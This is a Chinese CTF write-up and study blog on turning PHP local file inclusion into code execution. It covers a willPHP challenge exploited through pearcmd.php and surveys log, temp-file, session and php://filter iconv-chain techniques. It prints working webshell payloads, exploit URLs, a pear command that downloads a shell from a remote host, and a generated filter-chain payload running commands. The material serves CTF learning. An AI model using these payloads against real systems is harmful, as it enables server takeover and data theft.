前言:
哈哈实在是太菜了,今天正好闲着就来学习学习LFI的一种思路,之前我记得强网杯,羊城杯都出现关于pearcmd.php的文件包含,不打CTF的我,只是道听途说,菜狗一个。正好被烨师傅点了一手,就来看看关于pearcmd.php直接getshell,LFI裸文件包含,以及LFI文件不落地RCE。做一次复现与学习。
IcMl0x824
经过搜索哈,找到了一个能够复现学习这个点的一道题目,在BUUCTF上(2021湖湘杯CTF)
咳咳,事先没看过WP,心口雌黄的写,至于哪里可能有错,多多包涵哈师傅们。
打开一看是一个willPHP开发的框架,值得一提的是,他给出了开发手册和下载的地址,对我来说基本CTF基础为0,但起码得把这个框架下载下来搭建在本地,然后代审,这是一个该有的素养emmm。所以完成这两点:
本地搭建环境进行测试
读一读开发手册或者找找相关的漏洞
nm的通过特殊的渠道找到了2.1.5的源码,在PHPstudy中搭建环境
为了和靶场环境做到一模一样,emmm
给了一小段源码
<?php
namespace home\controller;
class IndexController{
public function index(){
highlight_file(__FILE__);
assign($_GET['name'],$_GET['value']);
return view();
}
}
接着我们将源码粘贴到app目录下controller的IndexController.php文件中
这会我们本地的环境就和题目一模一样了
先从我第一眼看到的assign函数入手
先看的肯定是helper.php
记住这个view,再继续跟进到willphp\wiphp\View.php这个文件
我们这时候返回到helper.php中再看一眼view函数
再看看View.php,有点麻,还好看到了render方法
在Tple.php看最后处理$vfile的Tple类中的render方法
看到这里发现有extract和include,可以利用extact存在变量覆盖以及文件包含
所以说$_vars数组的值是我们index.php中传入的
$_vars[name]=value
我们只需要让name为cfile,extact变量覆盖掉下面include的$cfile,即可进行任意文件包含不是吗?
所以第一个payload:
/?name=cfile&value=/etc/passwd
我们拿到BUUCTF的靶机中发现确实成功了。
接下来我们是要拿靶机的flag的,光读一个passwd,问题是我们要写个shell进去啊
哈哈,通过读这篇文章:《利用pearcmd.php从LFI到getshell》
链接:https://blog.csdn.net/rfrder/article/details/121042290
再安利一下P神关于Docker PHP裸文件本地包含的综述,妈的写的太好了。
链接:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
我们可以利用pearcmd.php写入shell到/tmp目录下
Pear的全称叫PHP Extension and Application Repository,也就是PHP扩展与应用仓库。pearcmd.php实际上是pecl/pear中的文件,值得注意的是,pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear
才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。
Docker环境下的PHP会开启register_argc_argv
这个配置。如果存在php.ini的话,默认是Off。如果没有php.ini则默认是On。而PHP官方提供的镜像里面也是默认没有php.ini,所以也是默认开启了这个register_argc_argv的。
开启了这个东西有什么用呢?开启的时候$_SERVER[‘argv’]
就会生效,而用户的输入将会被赋予给$argc
、$argv
、$_SERVER['argv']
几个变量。
┌──(root㉿kali)-[~]
└─# cat /usr/local/etc# cat /usr/bin/pear
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/share/pear" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/share/pear"
INCARG="-d include_path=/usr/share/pear"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "[email protected]"
读的有点懵逼,看了P神和先前的文章才勉强懂
简单来说就是:最后一行调用了pearcmd.php,而pearcmd.php中$argv
就是通过$_SERVER['argv']
来获取到的。这样的话我们就可以通过包含pearcmd.php
,利用$_SERVER['argv']
来调用pear命令。
要想调用pear命令,我不懂这个哈哈,感觉和常用的那个composer差不多,都可以下载东西,如果pear命令也可以下载东西并且保存在本地的话,在我们已知道一个文件包含的情况下,下载一个恶意的php文件然后包含它不就可以getshell了?的确可以的,命令如下:
pear install -R /tmp http://IP/shell.php
这样就可以把shell.php
下载到/tmp
目录下面,还有不出网的利用姿势:
pear -c /tmp/.feng.php -d man_dir=<?=eval($_POST[0]);?> -s
相当于写配置到/tmp/.feng.php了,内容和文件名都可控,不好的地方可能就是如果没写好的话容易G。这样子:
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/.feng.php+-d+man_dir=<?eval($_POST[0]);?>+-s+
如果没有开启短标签的话,还是下载文件比较好用。但是也是很有意思的一种利用方式了。
看到这应该也懂个七七八八了,我也不再起docker的php去证实了。
最终的BUUCTF靶场环境,我们构造这样的payload:
咳咳,乱入。
?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[0])?>+/tmp/aa.php
burp抓包写入:
接下来试着执行命令:
http://3a06b9b7-fd74-4295-bfce-e9146d1d5432.node4.buuoj.cn:81/?name=cfile&value=/tmp/aa.php
0=system('ls /');
看到flag了,拿下!
0=system('cat /flag32897328937298hdwidh');
连接蚁剑
这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过一个数据包去搞定。
内容来自作者:javelin266桑桑
<?php
include $_REQUEST['file'];
?>
是不是很经典?我们梳理梳理都有哪些手法?
在黑盒的情况下,通常最古老的RCE方式是包含日志文件,通过写入一句话,然后包含这个文件去getshell
例如IIS和apache,apache一般的日志文件只有root组才能访问,www用户是读不了的,那么如果是IIS就可以直接写入一句话
<?php eval($_POST['cmd']);?>
然后通过包含
/varl/og/apache2/access.log
就可以实现getshell
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉.
在从“PHP writes data to temp file”到“php removes temp files(if any)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。
例如:我们上传一个这样的文件,不管他后台有没有这个逻辑,php都会保存在一个临时文件,过了某个时间段就清理,那么我们就只能条件竞争了。那么我们不知道临时文件在哪,还有文件名是啥也不知道,就是形如/tmp/phpxxx,后面的xxx为随机字母和数字组合的6位数。
那么我们只要在phpinfo页面有个地方可以看到它的位置,那么就可以写脚本来条件竞争了
直接贴p牛的EXP:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
session方法也已经广为流传,PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件
1.目标环境开启了session.upload_progress.enable选项2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段3.请求的Cookie中包含Session ID
其实这里的LFI到rce,就在于能不能在对方服务器写入一个php代码,我们直接包含这个造成getshell,其中涉及到临时文件,日志文件,临时文件路径和名字。前面的探讨都是在临时文件删除之前进行条件竞争,那么我们能不能让他不执行这个删除,让他异常退出,就不会删除临时文件了,这样我们直接爆破就行了。
PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。国内的安全研究者@王一航 曾发现过一个会导致PHP crash的方法:
include 'php://filter/string.strip_tags/resource=/etc/passwd';
正好用在文件包含的逻辑中。这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。
这个不说了
在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE。
大家是否记得利用filter绕过死亡exit,就是由于<?php exit;?>
加在了我们写入的文件前面,导致写入一句话也不能执行。
但是php base64 encode会自动把这些非法字符去掉。
合法字符只有A-Za-z0-9\/=+,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的。
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
如果内容变为phpexitaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 解码就是¦^Æ+Z<?php eval($_POST[a]);
因为我们可以控制file_put_contents写入的协议,那么我们用filter base64的宽松解码进行绕过了。
利用include $_REQUEST['file']的lfi本地文件包含,就是包含一个含有php代码的文件,不限制后缀名,也可以临时文件进行条件竞争,当然php是神奇的语言,有伪协议还有fastcgi,还有auto_prepend_file的参数,内存错误异常退出,甚至可以去看php底层代码,这些特性还有很多,值得我们探索。
烨师傅给了我一个PHP7.3的无落地RCE,直接可以LFI文件不落地RCE,这个应该是P神的代码审计圈子里面提到的一个LFI的方法,是通过fuzz的方法通过iconv成功的将任意一个文件里的内容转换为一句话木马的方式。参考陆队的文章:https://tttang.com/archive/1395/,学习一下。
妈的是真牛逼,闻所未闻。
在SESSION文件包含的时候可以往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用
php://filter/convert.base64-decode/resource=/tmp/sess_xxx
就可以直接rce,因为里面的base64解码后就可以得到一个完整的一句话
再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:
include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"
同理,也可以得到更多的字符。
最终利用的是:
<?=`$_GET[0]`;;?>
PD89YCRfR0VUWzBdYDs7Pz4=
说到底还是文件包含漏洞包含 /etc/passwd ,写入一句话木马
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump($final_payload);
附上:
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=whoami
在2022羊城杯WP-Web中有一道题目RCE_me就可以用此法:利用php://filter协议来无落地RCE,限制条件是 php:7.2 以上,php 7.4我没有试验成功,同样的这道题也可以用我们前面说的:利用pearcmd远程下载一句话,然后URL编码绕过waf
《hxp CTF 2021 - The End Of LFI?》
好文记得看:https://tttang.com/archive/1395/#toc_n1ctf-2020-filter
折腾死我了
还是陆队的结束语更引人回味:整个 iconv 的方法还是比较惊艳的,当我们还在执着临时文件的时候,有人已经 fuzz 完成了不需要临时文件的方法,非常敬佩作者对于该种方法的执着。虽然看起来上次我觉得已经是 LFI 的穷途末路了,对于 Nginx 的场景来说利用难度还是比较的低的,但是这一次又一次刷新了我对 LFI 的认知 orz ,以至于看起来是 The End Of LFI ,但是我还是想打上一个问号?说不定 PHP 也有类似 log4j 的玩意呢?
但是话又说回来,这种方式好玩归好玩,但是说到底还是 LFI ,而且个人感觉 PHP 已经没有 JAVA 那么值得研究了。所以,大家还是看一乐吧 hhhh
真他妈极限啊,拉扯,至于复现我在BUUCTF的个别靶场中并没有实验成功,但是在docker中起了个pikachu,发现是可以成功的。
就当是玩一玩吧,反正一天到晚都在睡觉hehehehe,我这种菜狗是不配打CTF的hehehe。
流下了没有技术的泪水